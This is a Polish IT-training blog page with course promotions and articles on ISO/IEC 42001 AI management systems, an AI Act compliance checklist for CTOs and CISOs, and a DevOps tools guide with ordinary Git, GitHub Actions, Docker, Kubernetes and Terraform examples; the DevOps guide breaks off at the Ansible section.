Najlepsza dokumentacja nie pomoże, jeśli lider nie poprowadzi organizacji przez zmianę. Przewodnik dla CXO, dyrektorów IT i liderów transformacji: tworzenie polityki AI (z szablonem), zmniejszanie oporu wobec AI, struktura governance (AI Officer, Data Steward), model dojrzałości organizacji oraz 90-dniowa roadmapa wdrożenia.

Czytaj artykuł

Szkolenie Gotowość na AI ACT →

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

Szkolenie: Gotowość na AI ACT

Chcesz przeprowadzić swoją firmę przez wdrożenie compliance razem z ekspertem, zamiast czytać przepisy w pojedynkę? JSystems prowadzi praktyczne, otwarte szkolenie z AI ACT, na którym przekładamy wymagania rozporządzenia na konkretne działania w Twojej organizacji.

Prowadzi Krzysztof Supowicz, ekspert AI governance z doświadczeniem w dużych organizacjach.

Zobacz szkolenie AI ACT

Powiązane szkolenia: ISO/IEC 42001 AIMS Implementation oraz AI dla Liderów.

Bądź na bieżąco

Otrzymuj nowe artykuły o AI, prawie i technologiach IT prosto na email. Zapisz się na newsletter JSystems.

ISO/IEC 42001 w praktyce: jak wdrożyć System Zarządzania AI (AIMS) w firmie

Andrzej Klusiewicz — Tue, 25 Aug 2026 07:03:00 +0000

ISO/IEC 42001 to pierwsza międzynarodowa norma dla systemów zarządzania AI — i mało kto wie, od czego zacząć wdrożenie. Rozkładamy AIMS na etapy, które da się faktycznie ogarnąć.

ISO/IEC 42001 - jak wdrożyć System Zarządzania AI w firmie (AIMS)

ISO/IEC 42001 to pierwsza na świecie norma dotycząca systemów zarządzania sztuczną inteligencją. Opublikowana w grudniu 2023 roku przez ISO/IEC JTC 1/SC 42, staje się standardem dla organizacji które chcą zarządzać AI w sposób odpowiedzialny, systematyczny i audytowalny. W połączeniu z wymogami AI ACT - ISO 42001 staje się ważnym narzędziem compliance. Ten artykuł wyjaśnia co to jest, dlaczego warto i jak wdrożyć.

Czym jest ISO/IEC 42001?

ISO 42001 definiuje wymagania dla AIMS - Artificial Intelligence Management System - systemu zarządzania AI w organizacji. Analogicznie jak:

ISO 27001 → bezpieczeństwo informacji
ISO 9001 → jakość
ISO 42001 → zarządzanie AI

Norma opisuje jak organizacja powinna planować, wdrażać, monitorować i doskonalić swoje praktyki AI.

Zakres normy - co obejmuje

Kontekst organizacji - identyfikacja interesariuszy AI, zakres AIMS
Przywództwo - zaangażowanie zarządu, polityka AI, role i odpowiedzialności
Planowanie - ocena ryzyk i szans związanych z AI, cele AI
Wsparcie - zasoby, kompetencje, świadomość, komunikacja, dokumentacja
Operacje - zarządzanie cyklem życia systemów AI, procurement AI od zewnętrznych dostawców
Ocena wyników - monitorowanie, audyty wewnętrzne, przegląd zarządzania
Doskonalenie - obsługa niezgodności, ciągłe doskonalenie

Dlaczego warto wdrożyć ISO 42001?

1. Compliance z AI ACT

AI ACT wymaga od dostawców systemów AI wysokiego ryzyka systemu zarządzania jakością AI. ISO 42001 może służyć jako dowód spełnienia tych wymagań. Certyfikacja ISO 42001 może być uznana przez organy nadzoru jako element zgodności.

2. Przewaga konkurencyjna i zaufanie

Klienci enterprise i instytucje publiczne coraz częściej pytają dostawców o podejście do AI governance. Certyfikat ISO 42001 to konkretna odpowiedź na te pytania - przewaga przy przetargach i kontraktach B2B.

3. Zarządzanie ryzykiem AI

Bez systemu zarządzania: ryzyko halucynacji modeli w decyzjach biznesowych, data leakage, stronniczość algorytmów, naruszenia regulacyjne. AIMS daje strukturę do identyfikacji i mitygacji tych ryzyk.

4. Kultura odpowiedzialnego AI

Systematyczne podejście do AI zamiast ad hoc - każdy pracownik zna zasady, obowiązki są jasne, incydenty są raportowane i analizowane. Jak przeprowadzić organizację przez tę zmianę kulturową, opisuje artykuł AI dla Liderów.

ISO 42001 vs ISO 27001 - czym się różnią

Aspekt	ISO 27001	ISO 42001
Fokus	Bezpieczeństwo informacji	Zarządzanie systemami AI
Główne ryzyka	Naruszenie poufności, dostępności, integralności	Stronniczość AI, halucynacje, bezpieczeństwo AI, compliance
Struktura	Annex SL (wspólna struktura ISO)	Annex SL + rozszerzenia AI
Kompatybilność	Można integrować z 42001	Zbudowane na tych samych zasadach

Firmy które mają ISO 27001 mogą wdrożyć ISO 42001 szybciej - struktury są podobne.

Jak wygląda ścieżka wdrożenia?

Gap analysis - gdzie jesteśmy vs. wymagania normy
Inwentaryzacja systemów AI - co używamy, co tworzymy
Ocena ryzyk AI - per system, per use case
Polityki i procedury - AI policy, incident response, data governance
Szkolenia - awareness dla wszystkich, szczegółowe dla odpowiedzialnych za AI
Wdrożenie i monitoring - kontrole, metryki, audyty
Certyfikacja - audit przez jednostkę certyfikującą (opcjonalnie)

Newsletter bloga JSystems

Otrzymuj nowe artykuły prosto na swoją skrzynkę

Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.

Zapisz się do newslettera

Szkolenia ISO/IEC 42001 i AI Governance

JSystems oferuje otwarte szkolenia z ISO 42001. Awareness (2 dni) i pełne wdrożenie AIMS (4 dni). Prowadzi Krzysztof Supowicz - ekspert compliance AI.

Sprawdź terminy

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

AI Act 2026: praktyczny checklist dla CTO i CISO (bez prawniczego żargonu)

Andrzej Klusiewicz — Tue, 25 Aug 2026 07:02:32 +0000

Większość tekstów o AI Act brzmi jak wyciąg z Dziennika Ustaw. Poniżej checklist napisany z perspektywy CTO/CISO, który ma to ogarnąć w praktyce, nie w teorii — punkt po punkcie, bez prawniczego bełkotu.

AI ACT 2026 - praktyczny checklist dla CTO i CISO (bez prawniczego żargonu)

Większość artykułów o AI ACT jest pisana przez prawników dla prawników. Ten artykuł jest dla CTO i CISO którzy muszą podjąć konkretne decyzje techniczne i organizacyjne. Bez paragrafów - z actionable checklistami.

Krok 1: Zinwentaryzuj co używacie i co tworzycie

Zanim zrobisz cokolwiek innego - musisz wiedzieć co masz. To jest fundament AI ACT compliance.

✅ Checklista inwentaryzacji:

Lista wszystkich zewnętrznych narzędzi AI (ChatGPT Enterprise, Copilot, Grammarly AI, Salesforce Einstein, etc.)
Lista wewnętrznych systemów z komponentem AI (automatyczne scoring, rekrutacja przez AI, monitoring pracowników)
AI w produktach które sprzedajecie klientom
AI w procesach HR (screening CV, ocena wydajności przez system)
Modele LLM dostępne przez API (OpenAI, Anthropic, Azure OpenAI)
Chatboty klienckie z AI

Krok 2: Klasyfikuj ryzyka - co wymaga działania

🔴 Zakaz bezwzględny (sprawdź czy nie używasz):

☐ Social scoring pracowników lub klientów przez AI
☐ Manipulacja zachowaniem użytkowników bez ich wiedzy
☐ Identyfikacja emocji w miejscu pracy (stress detection przez kamerę)
☐ Masowa biometria w przestrzeni publicznej

🟠 Wysokie ryzyko (wymaga dokumentacji i compliance):

☐ AI w rekrutacji i selekcji kandydatów
☐ AI scoring zdolności kredytowej
☐ AI w decyzjach o dostępie do ubezpieczeń
☐ AI zarządzające infrastrukturą krytyczną
☐ AI wspomagające decyzje sądowe lub administracyjne

🟢 Ograniczone ryzyko (transparency obligations):

☐ Chatboty muszą informować że są botami
☐ Deepfake i AI-generated content musi być oznaczony
☐ Systemy rozpoznawania emocji muszą informować użytkowników

Krok 3: Dla systemów wysokiego ryzyka - dokumentacja

✅ Checklista dokumentacji (systemy high risk):

☐ Techniczna dokumentacja systemu AI (architektura, dane treningowe, metryki)
☐ Ocena ryzyka i plan mitygacji
☐ Procedury data governance (jakie dane, skąd, jak długo przechowywane)
☐ Plan monitoringu po wdrożeniu (post-market surveillance)
☐ Rejestracja w EU AI Database (dla HR, credit scoring, etc.)
☐ Oznaczenie CE (dla dostawców wbudowanych systemów AI)

Krok 4: AI Literacy - obowiązek szkolenia pracowników

AI ACT Art. 4 wymaga zapewnienia "odpowiedniej wiedzy o AI" osobom pracującym z systemami AI. To nie jest zalecenie - to wymóg prawny.

✅ Checklista szkoleń:

☐ Identyfikacja ról które pracują z systemami AI
☐ Szkolenie awareness dla wszystkich pracowników używających AI
☐ Szkolenie zaawansowane dla osób zarządzających systemami AI
☐ Dokumentacja szkoleń (kto, kiedy, co)
☐ Plan odświeżania wiedzy (regulacje się zmieniają)

Krok 5: Polityka AI w organizacji

✅ Checklista polityk:

☐ Polityka dozwolonego użycia AI (approved tools, forbidden use cases)
☐ Polityka danych - co wolno wklejać do zewnętrznych LLM
☐ Procedura oceny nowych narzędzi AI przed wdrożeniem
☐ Procedura incydentów AI (co gdy model popełni błąd z poważnymi skutkami)
☐ Odpowiedzialność - AI Owner dla każdego systemu wysokiego ryzyka

Powyższe polityki formalizuje standard ISO/IEC 42001 - System Zarządzania AI uznawany przez regulatorów jako dowód compliance z AI ACT.

Terminy które musisz znać

Data	Co wchodzi w życie
Luty 2025	Zakaz systemów AI niedopuszczalnego ryzyka
Sierpień 2025	Wymogi dla modeli AI ogólnego przeznaczenia (GPT, Claude)
Sierpień 2026	Pełne stosowanie AI ACT - systemy wysokiego ryzyka
2027	Systemy AI w produktach objętych dyrektywami sektorowymi

Newsletter bloga JSystems

Otrzymuj nowe artykuły prosto na swoją skrzynkę

Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.

Zapisz się do newslettera

Szkolenia AI ACT i AI Governance dla kadry technicznej

JSystems oferuje dedykowane szkolenia dla CTO, CISO i compliance officerów: "Gotowość na AI ACT" (2 dni) i "AI Governance dla kadry zarządzającej" (2 dni). Prowadzi Krzysztof Supowicz.

Szkolenie AI ACT

AI Governance

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

Czym jest DevOps i jakich narzędzi używa (Git, Docker, Kubernetes, Prometheus, Grafana)

Andrzej Klusiewicz — Mon, 24 Aug 2026 15:12:46 +0000

DevOps to nie jedno narzędzie, tylko cała pętla i stos: Git, Docker, Kubernetes, Terraform, Ansible, Prometheus i Grafana. Pokazujemy je na prawdziwych wynikach z terminala. Oryginał jest na naszym blogu.

Tak w praktyce wygląda DevOps w akcji: żywy pulpit monitoringu (tutaj Grafana) pokazujący kondycję działającej infrastruktury. To jeden z ostatnich elementów układanki, do którego dojdziemy. Po drodze rozłożymy na części pierwsze każde narzędzie, które sprawia, że taki widok jest w ogóle możliwy.

DevOps to jedno z najczęściej wpisywanych w wyszukiwarkę pojęć w branży IT i jednocześnie jedno z najgorzej rozumianych. Dla jednych to nazwa stanowiska, dla innych zestaw modnych narzędzi, a dla jeszcze innych magiczne zaklęcie, które ma sprawić, że oprogramowanie zacznie wdrażać się samo. Żadna z tych odpowiedzi nie jest pełna. W tym przewodniku wyjaśnimy po kolei, czym DevOps naprawdę jest, z jakich narzędzi się składa i do czego każde z nich służy. Wszystkie przykłady w kodzie uruchomiliśmy naprawdę, więc widzisz autentyczne wyniki z terminala, a nie slajdy z prezentacji.

Z tego artykułu dowiesz się:

Czym DevOps jest jako kultura i zestaw praktyk, a czym na pewno nie jest
Jak wygląda pełna pętla życia oprogramowania i który etap obsługuje które narzędzie
Do czego służą Git, Docker, Kubernetes, Terraform, Ansible, Prometheus i Grafana, na prawdziwych wynikach z terminala
Jak te narzędzia łączą się w jeden potok, od zapisania kodu po działanie na produkcji
Co DevOps realnie daje firmie, mierzone liczbami, a nie hasłami

Czym właściwie jest DevOps (a czym nie jest)

DevOps to sposób pracy nad oprogramowaniem, który łączy tworzenie aplikacji (ang. development, w skrócie „dev") z jej utrzymaniem na serwerach (ang. operations, „ops") w jeden, wspólny i mocno zautomatyzowany proces. To przede wszystkim kultura i zestaw praktyk, a narzędzia są dopiero konsekwencją. Sama nazwa jest zbitką słów „development" i „operations" i to nie przypadek, bo DevOps powstał dokładnie po to, żeby zburzyć mur między tymi dwoma światami.

Warto od razu rozwiać trzy nieporozumienia. DevOps nie jest jednym narzędziem: nie da się „kupić DevOps" ani zainstalować go z jednego pakietu. DevOps nie jest osobnym działem, który wrzuca się między programistów a administratorów (to zwykle tworzy trzeci mur zamiast burzyć istniejące). I choć na rynku pracy istnieje stanowisko „DevOps Engineer", samo DevOps nie jest stanowiskiem, tylko sposobem, w jaki cała organizacja dowozi i utrzymuje oprogramowanie.

Skąd w ogóle wziął się ten mur? Z konfliktu celów. Programiści są rozliczani z tego, jak szybko dostarczają nowe funkcje, więc chcą wdrażać zmiany często. Administratorzy odpowiadają za stabilność, więc każda zmiana jest dla nich ryzykiem, które chcą ograniczać. W efekcie wdrożenie (ang. deployment, czyli udostępnienie nowej wersji aplikacji użytkownikom) stawało się rzadkim, stresującym wydarzeniem, a po każdej awarii zaczynało się wzajemne obwinianie. DevOps rozwiązuje ten spór, ustawiając obie strony po tej samej stronie: wspólna odpowiedzialność, wspólny potok i automatyzacja tam, gdzie wcześniej były ręczne przekazania „przez płot".

Przed DevOps

Programiści (Dev): dowieźć nowe funkcje jak najszybciej

M U R

Administratorzy (Ops): utrzymać stabilność, ograniczać zmiany

Rzadkie wdrożenia, ręczne przekazania, obwinianie po awarii.

Po wdrożeniu DevOps

Jeden wspólny zespół i jeden zautomatyzowany potok: kod, testy, wdrożenie, monitoring.

Wspólna odpowiedzialność za produkcję, automatyzacja zamiast ręcznej pracy, szybka informacja zwrotna.

Częste, spokojne wdrożenia i szybka naprawa, gdy coś pójdzie nie tak.

Sedno DevOps to zburzenie muru między tworzeniem a utrzymaniem oprogramowania i zastąpienie ręcznych przekazań wspólnym, zautomatyzowanym potokiem.

Żeby ta zmiana kultury nie została pustym hasłem, w środowisku DevOps przyjęło się pięć filarów opisywanych skrótem CALMS: Culture (kultura wspólnej odpowiedzialności), Automation (automatyzacja powtarzalnych czynności), Lean (dostarczanie małymi porcjami, bez marnotrawstwa), Measurement (mierzenie wszystkiego, bo bez pomiaru nie wiadomo, czy jest lepiej) i Sharing (dzielenie się wiedzą zamiast trzymania jej w silosach). Zapamiętaj te pięć słów, bo do każdego z nich wrócimy przy konkretnych narzędziach.

Pętla DevOps: cykl życia oprogramowania

DevOps najłatwiej zrozumieć jako ciągłą pętlę, a nie jednorazowy proces „od-do". Oprogramowanie się planuje, pisze, buduje, testuje, wydaje, wdraża, utrzymuje i monitoruje, a wnioski z monitoringu wracają do planowania kolejnej zmiany. Ta pętla nigdy się nie zatrzymuje. Klasycznie rysuje się ją jako znak nieskończoności, w którym lewa połowa należy do „dev", a prawa do „ops". Każdy etap ma swoje narzędzia i to właśnie ich zestaw nazywamy potocznie „narzędziami DevOps".

PLANplanowanie
KODpisanie
BUILDbudowanie
TESTtesty

RELEASEwydanie
DEPLOYwdrożenie
OPERATEutrzymanie
MONITORobserwacja

DevOps
ciągła pętla

Plan / Kod: Git, systemy zgłoszeń

Build: Docker, kompilatory

Test: frameworki testów, CI

Release: GitHub Actions, GitLab CI, Jenkins

Deploy: Kubernetes, Helm, Terraform, Ansible

Operate / Monitor: chmura, Proxmox, Prometheus, Grafana, Loki

Osiem etapów cyklu życia oprogramowania w DevOps. Górna połowa to „dev" (planowanie, kod, budowanie, testy), dolna to „ops" (wydanie, wdrożenie, utrzymanie, monitoring). Kropka krąży, bo pętla nigdy się nie kończy: wnioski z monitoringu wracają do planowania.

Przejdźmy teraz przez tę pętlę od strony narzędzi. To najważniejsza część przewodnika, bo odpowiada wprost na pytanie „jakich narzędzi używa DevOps i do czego".

DevOps, CI/CD, SRE, GitOps, DevSecOps: co jest czym

Zanim wejdziemy w narzędzia, uporządkujmy pojęcia, które krążą razem z DevOps i bywają ze sobą mylone. Wszystkie należą do tej samej rodziny, ale każde odpowiada na trochę inne pytanie.

DevOps

Kultura i praktyki łączące tworzenie i utrzymanie oprogramowania. Parasol, pod którym mieści się reszta pojęć.

CI/CD

Ciągła integracja i ciągłe dostarczanie (ang. Continuous Integration / Continuous Delivery). Konkretna praktyka DevOps: automatyczny potok build, test, wdrożenie po każdej zmianie.

SRE

Site Reliability Engineering, podejście spopularyzowane przez Google. Utrzymanie traktowane jak inżynieria, z budżetem błędów (ang. error budget) i celami niezawodności (SLO).

Platform Engineering

Budowanie wewnętrznej platformy i gotowych ścieżek (ang. golden paths), z których programiści korzystają samodzielnie, bez proszenia „ops" o każdą drobnostkę.

GitOps

Git jako jedyne źródło prawdy o infrastrukturze. Stan systemu opisany deklaratywnie w repozytorium, a narzędzie samo doprowadza produkcję do tego stanu.

DevSecOps

DevOps z bezpieczeństwem wpiętym w potok od początku, a nie doklejanym na końcu. Skanowanie podatności jest częścią pipeline'u.

Sześć pojęć z jednej rodziny. DevOps jest parasolem kulturowym, a CI/CD, SRE, Platform Engineering, GitOps i DevSecOps to konkretne odpowiedzi na pytanie „jak robić DevOps dobrze".

W praktyce nie musisz wybierać jednego z nich. Firma może stosować DevOps jako kulturę, budować potoki CI/CD, prowadzić utrzymanie w duchu SRE, dawać programistom platformę i wdrażać zmiany w modelu GitOps, a przy tym mieć skanery bezpieczeństwa w każdym potoku. To wszystko warstwy tej samej filozofii.

Narzędzia DevOps: co, po co i jak wyglądają w praktyce

Nie istnieje jedno „narzędzie DevOps". Istnieje zestaw narzędzi, w którym każde obsługuje inny etap pętli. Poniższa mapa porządkuje je według zadania, a potem przejdziemy przez najważniejsze z nich z prawdziwymi wynikami z terminala.

🔄

Kontrola wersji

Git, GitHub, GitLab

⚙️

CI/CD

GitHub Actions, GitLab CI, Jenkins

🐳

Konteneryzacja

Docker, Podman, Buildah

☸

Orkiestracja

Kubernetes, Helm

🏗️

Infrastruktura jako kod

Terraform, OpenTofu, Pulumi

📋

Zarządzanie konfiguracją

Ansible, Puppet, Chef

📊

Monitoring i logi

Prometheus, Grafana, Loki, Zabbix

🛡️

Bezpieczeństwo

Trivy, rejestry obrazów, skanery

☁️

Chmura i wirtualizacja

AWS, Azure, GCP, Proxmox

Mapa narzędzi DevOps według zadania. To nie jest lista „co trzeba umieć na pamięć", tylko podział pętli na etapy: każda kategoria odpowiada za inny fragment drogi od kodu do działającej usługi.

Git: kontrola wersji i źródło prawdy

Do czego służy: przechowuje historię każdej zmiany w kodzie i w konfiguracji, pozwala wielu osobom pracować równolegle na gałęziach i w każdej chwili cofnąć się do działającej wersji. W DevOps Git jest źródłem prawdy nie tylko dla aplikacji, ale i dla infrastruktury.

Git to rozproszony system kontroli wersji, czyli narzędzie, które zapamiętuje kolejne stany projektu jako „commity" (zapisane migawki zmian). Cała reszta łańcucha DevOps zaczyna się właśnie tutaj: potok CI/CD uruchamia się po zapisaniu zmiany, a w podejściu GitOps to zawartość repozytorium decyduje o tym, co ma działać na produkcji. Poniżej realna historia małego repozytorium z gałęzią funkcji i połączeniem jej z główną linią rozwoju:

Prawdziwa historia repozytorium w terminalu. Gałąź funkcji (feature/healthcheck) została połączona z główną linią (main) osobnym commitem scalającym. Na dole to samo repozytorium pokazuje polecenie git status: jeden zmodyfikowany plik czeka na zatwierdzenie.

Zwróć uwagę, że w tej historii są nie tylko commity z kodem aplikacji, ale też z plikami Dockera, manifestami Kubernetes i konfiguracją potoku CI/CD. To typowe dla DevOps: infrastruktura mieszka w tym samym repozytorium co aplikacja i podlega tym samym regułom, czyli przeglądowi zmian, historii i możliwości cofnięcia. Nie ma już „konfiguracji, która żyje tylko w głowie administratora".

CI/CD: automatyczny potok build, test i wdrożenie

Do czego służy: odbiera każdą zmianę z repozytorium i automatycznie ją buduje, testuje i (jeśli wszystko przejdzie) wdraża. Zamiast ręcznego, stresującego wdrożenia raz na kwartał, dostajesz powtarzalny proces, który można uruchamiać wielokrotnie dziennie.

CI/CD to skrót od ciągłej integracji (ang. Continuous Integration, czyli częstego scalania zmian i automatycznego sprawdzania, czy nic się nie zepsuło) oraz ciągłego dostarczania (ang. Continuous Delivery, czyli automatycznego przygotowania i wdrożenia gotowej wersji). Najpopularniejsze narzędzia to GitHub Actions, GitLab CI oraz Jenkins. Potok opisuje się jako plik w repozytorium. Oto minimalny, ale realny przepływ w GitHub Actions, który po każdej zmianie na gałęzi main buduje obraz i go wdraża:

name: build-and-deploy
on:
  push:
    branches: [main]
jobs:
  ship:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Testy
        run: pytest -q
      - name: Zbuduj i wypchnij obraz
        run: |
          docker build -t registry.example.com/sklep-api:${{ github.sha }} .
          docker push registry.example.com/sklep-api:${{ github.sha }}
      - name: Wdróż na klaster
        run: kubectl set image deploy/sklep-api sklep-api=registry.example.com/sklep-api:${{ github.sha }}

Ten plik to nie teoria. Wypchnęliśmy go do prawdziwego repozytorium, a GitHub Actions wykonał cały potok od początku do końca, bez naszej ingerencji:

Realny przebieg potoku w GitHub Actions (nasze repozytorium demonstracyjne). Każdy krok, od testów po wdrożenie, zakończył się powodzeniem. Ostatni krok, „Wdroz obraz na srodowisko", to automatyczne wdrożenie zbudowanego obrazu do rejestru.

A tak wygląda log samego kroku wdrożenia z tego przebiegu. To już nie zapowiedź, tylko realny zapis publikacji gotowego obrazu:

Log kroku wdrożenia z tego samego przebiegu GitHub Actions. Widać publikację kolejnych warstw obrazu do rejestru (Pushed) i końcowe potwierdzenie: wdrożenie zakończone sukcesem.

Chcesz zbudować własny potok CI/CD od commita po wdrożenie? Szkolenie GitHub Actions ma terminy gwarantowane.

Tam, gdzie potok jest bardziej rozbudowany albo firma woli własny serwer, króluje Jenkins. Poniżej realny widok tak zwanego stage view, czyli podziału jednego uruchomienia potoku na etapy z czasami wykonania. To dokładnie ten obraz, na który patrzy inżynier, gdy chce sprawdzić, na którym kroku potok się zatrzymał:

Jenkins, widok etapów potoku (stage view). Każda kolumna to jeden krok potoku (pobranie kodu, budowanie, testy, publikacja obrazu, wdrożenie), a kolor i czas pokazują, czy krok się powiódł i jak długo trwał.

Gdy któryś krok zawiedzie, przechodzi się do konsoli danego uruchomienia i czyta logi. To pierwszy odruch przy diagnozie nieudanego wdrożenia:

Konsola pojedynczego uruchomienia w Jenkinsie. To surowe logi kolejnych poleceń potoku, od których zaczyna się każda diagnoza, gdy build lub wdrożenie się nie powiedzie.

Wolisz Jenkinsa na własnym serwerze? Szkolenie CI/CD w Jenkins ma terminy gwarantowane.

Docker: konteneryzacja, czyli koniec z „u mnie działa"

Do czego służy: pakuje aplikację razem ze wszystkimi zależnościami w jeden przenośny obraz (ang. image), który zachowuje się identycznie na laptopie programisty, w potoku CI i na produkcji. To rozwiązuje klasyczny problem „u mnie działa, a na serwerze nie".

Docker to najpopularniejsze narzędzie do konteneryzacji, czyli uruchamiania aplikacji w izolowanych, lekkich „pudełkach" zwanych kontenerami. Kontener różni się od maszyny wirtualnej tym, że nie nosi ze sobą całego systemu operacyjnego, tylko współdzieli jądro z hostem, dlatego startuje w ułamku sekundy. Aplikację opisuje się plikiem Dockerfile. Kluczowa dobra praktyka to budowanie wielostopniowe (ang. multi-stage build): w jednym etapie kompilujemy program z pełnym zestawem narzędzi, a do finalnego obrazu kopiujemy tylko gotowy plik wykonywalny.

# Etap budowania: pełne środowisko Go
FROM golang:1.23-alpine AS build
WORKDIR /src
COPY . .
RUN CGO_ENABLED=0 go build -ldflags="-s -w" -o /app .

# Etap finalny: pusty obraz tylko z binarką
FROM scratch
COPY --from=build /app /app
EXPOSE 8080
ENTRYPOINT ["/app"]

Efekt jest wymierny. Zbudowaliśmy ten sam program na dwa sposoby: naiwnie (cały obraz z narzędziami Go zostaje w środku) oraz wielostopniowo (do finalnego obrazu trafia sama binarka). Oto realne rozmiary z naszego terminala:

Ten sam program zbudowany na dwa sposoby. Obraz naiwny (naive) waży 472 MB, bo zabiera ze sobą całe środowisko Go. Obraz wielostopniowy (multi) to zaledwie 7,3 MB, a docker history potwierdza dlaczego: w praktyce składa się z jednej warstwy, samej binarki o rozmiarze 5,08 MB.

Z 472 MB robi się 7,3 MB, czyli obraz kilkadziesiąt razy mniejszy. Mniejszy obraz to szybszy transfer, szybszy start i mniejsza powierzchnia ataku (o bezpieczeństwie za chwilę). Docker służy też do składania kilku usług w jedną całość poleceniem docker compose. Cały zestaw (serwer WWW, baza i pamięć podręczna) opisuje jeden plik compose.yaml, w którym deklarujemy też kontrolę kondycji usług (ang. healthcheck) i zależności między nimi:

services:
  web:
    image: nginx:alpine
    ports: ["8080:80"]
    depends_on:
      redis:
        condition: service_healthy    # startuj web dopiero, gdy redis jest zdrowy
  redis:
    image: redis:7-alpine
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      retries: 5
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_PASSWORD: sekret
    volumes:
      - dbdata:/var/lib/postgresql/data
volumes:
  dbdata:

Po uruchomieniu poleceniem docker compose up -d Docker startuje wszystkie usługi we właściwej kolejności i pilnuje ich stanu:

docker compose uruchamia kilka usług naraz i pilnuje kolejności. Serwer WWW (web) wystartował dopiero po tym, jak pamięć podręczna (redis) zgłosiła stan Healthy. Wcześniej taką zależność trzeba było obsługiwać ręcznie.

Widać tu istotny szczegół: serwer WWW wystartował dopiero po tym, jak pamięć podręczna (redis) zgłosiła stan Healthy. To automatyzacja zależności między usługami, którą wcześniej trzeba było robić ręcznie. Jeśli interesuje Cię konteneryzacja konkretnej aplikacji krok po kroku, pokazaliśmy to na przykładzie osadzania aplikacji Flask na Dockerze.

Konteneryzację najłatwiej opanować, budując realne obrazy pod okiem praktyka. Szkolenie Docker i Kubernetes: od zera do bohatera ma terminy gwarantowane.

Kubernetes i Helm: orkiestracja kontenerów

Do czego służy: zarządza setkami kontenerów na wielu serwerach. Utrzymuje zadaną liczbę kopii aplikacji, sam restartuje te, które padły, rozkłada ruch i pozwala aktualizować wersję bez przerwy w działaniu. To „system operacyjny" nowoczesnej produkcji.

Gdy kontenerów jest kilka, wystarczy Docker. Gdy są ich setki na wielu maszynach, potrzebny jest dyrygent. Tym dyrygentem jest Kubernetes (często skracany do „K8s"), czyli system do orkiestracji kontenerów. W Kubernetesie nie mówisz „uruchom ten kontener", tylko opisujesz stan docelowy („chcę trzy działające kopie aplikacji"), a klaster sam do niego dąży i sam go pilnuje. Różnice między samym Dockerem a Kubernetesem rozłożyliśmy na części w osobnym tekście o tym, czym różni się Kubernetes od Dockera. Stan docelowy opisuje się deklaratywnie w pliku YAML:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: sklep-api
spec:
  replicas: 3                 # utrzymuj 3 kopie aplikacji
  selector:
    matchLabels: { app: sklep-api }
  template:
    metadata: { labels: { app: sklep-api } }
    spec:
      containers:
        - name: sklep-api
          image: registry.example.com/sklep-api:1.4.2
          resources:
            requests: { cpu: "100m", memory: "128Mi" }
            limits:   { cpu: "500m", memory: "256Mi" }

Poniżej prawdziwa sesja na działającym klastrze. Do przykładów użyliśmy k3s, czyli lekkiej, w pełni zgodnej dystrybucji Kubernetesa (to nadal Kubernetes, tyle że w wersji idealnej do nauki na laptopie, co widać w kolumnie VERSION jako v1.34.1+k3s1). Uruchamiamy aplikację w trzech kopiach, klaster sam doprowadza ją do stanu gotowości, a na końcu skalujemy do pięciu kopii jednym poleceniem:

Prawdziwa sesja na działającym klastrze Kubernetes (jeden lokalny węzeł, lekka dystrybucja k3s). Uruchamiamy aplikację w trzech kopiach, klaster sam doprowadza wdrożenie do gotowości (rollout status), a jedno polecenie kubectl scale zmienia liczbę kopii z trzech na pięć.

To jest właśnie „samonaprawa" i skalowanie w praktyce: gdyby któraś kopia padła, Kubernetes od razu uruchomiłby nową, żeby utrzymać zadaną liczbę. Konfiguracje dla całych aplikacji pakuje się dodatkowo w Helm, czyli menedżer pakietów dla Kubernetesa. Zamiast trzymać dziesiątki plików YAML, instalujesz aplikację jak paczkę: helm install sklep-api ./chart, a aktualizujesz przez helm upgrade. Helm pozwala też jednym poleceniem cofnąć się do poprzedniej wersji, gdy coś pójdzie nie tak.

Chcesz swobodnie zarządzać Kubernetesem na realnym klastrze? Szkolenie Kubernetes: orkiestracja kontenerów ma terminy gwarantowane.

Terraform: infrastruktura jako kod

Do czego służy: tworzy i zmienia infrastrukturę (serwery, sieci, bazy, klastry) na podstawie plików tekstowych, zamiast klikania w panelu chmury. Dzięki temu infrastruktura jest powtarzalna, wersjonowana w Git i można ją recenzować jak każdy inny kod.

Terraform to najpopularniejsze narzędzie do podejścia zwanego infrastrukturą jako kod (ang. Infrastructure as Code). Opisujesz w plikach, co ma istnieć, a Terraform sam wylicza, co dodać, zmienić lub usunąć, żeby rzeczywistość zgadzała się z opisem. Opis jest krótki i czytelny. Poniższy fragment mówi po prostu: „ma istnieć kontener z serwerem nginx dostępny na porcie 8095":

resource "docker_container" "web" {
  name  = "tf-web"
  image = docker_image.nginx.image_id
  ports {
    internal = 80
    external = 8095
  }
}

Najważniejsze jest to, że Terraform najpierw pokazuje plan, a dopiero po akceptacji go wykonuje. Nigdy nie zmienia niczego bez uprzedzenia. Oto prawdziwe uruchomienie na naszym środowisku, gdzie Terraform tworzy obraz i kontener:

Terraform w działaniu. Najpierw plan („Plan: 2 to add"), po którym dokładnie wiesz, co się wydarzy, a dopiero potem apply, który tworzy zasoby („Apply complete! Resources: 2 added"). Na końcu state list pokazuje, czym Terraform teraz zarządza.

Zdanie Plan: 2 to add, 0 to change, 0 to destroy to serce Terraform. Zanim cokolwiek się wydarzy, widzisz dokładnie, co narzędzie zamierza zrobić. Uruchomione ponownie na niezmienionym opisie, Terraform nie zrobi nic (bo rzeczywistość już się zgadza). Ta właściwość, zwana idempotencją, oznacza, że to samo polecenie wykonane wielokrotnie daje ten sam stan końcowy.

Infrastrukturę jako kod najszybciej przyswoisz w praktyce, na własnym stanie i planach. Szkolenie Terraform i infrastruktura jako kod ma terminy gwarantowane.

Ansible: zarządzanie konfiguracją serwerów

